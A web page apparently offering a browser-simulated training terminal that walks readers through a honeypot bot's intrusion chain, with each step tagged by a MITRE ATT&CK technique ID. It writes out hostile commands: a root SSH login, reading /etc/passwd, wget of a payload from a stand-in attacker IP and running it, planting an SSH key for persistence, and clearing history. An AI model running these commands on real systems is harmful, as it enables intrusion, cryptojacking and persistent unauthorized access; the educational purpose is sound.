ogurexxx@root:~$ ./be-the-botnet.sh

Be the hacker

Walk the same chain bots walk in the honeypot on this server. The terminal is for training: everything happens in your browser, no commands are run or sent anywhere.

1. ssh root@srv-backup01 — Bots try the most common passwords. Log in: the password is already guessed. (T1110.001)
2. uname -a — First the bot learns what system this is: that decides which program to fetch. (T1082)
3. cat /etc/passwd — See which other accounts exist here. (T1003.008)
4. ps aux — Is there a rival miner already? Bots often evict competitors. (T1057)
5. kill -9 977 — The rival is using 91% of the CPU. Remove it. (T1489)
6. wget http://203.0.113.7/x.sh — Now fetch your program from the attacker's server. (T1105)
7. chmod +x x.sh — Make the file executable. (T1222.002)
8. ./x.sh — Run it: from now on this server works for someone else. (T1059.004)
9. echo "ssh-rsa AAAA" >> ~/.ssh/authorized_keys — Leave your key: now you can return even if the password changes. (T1098.004)
10. history -c — Cover your tracks. The chain is complete. (T1070.003)

How it looks with real bots — Honeypot live feed.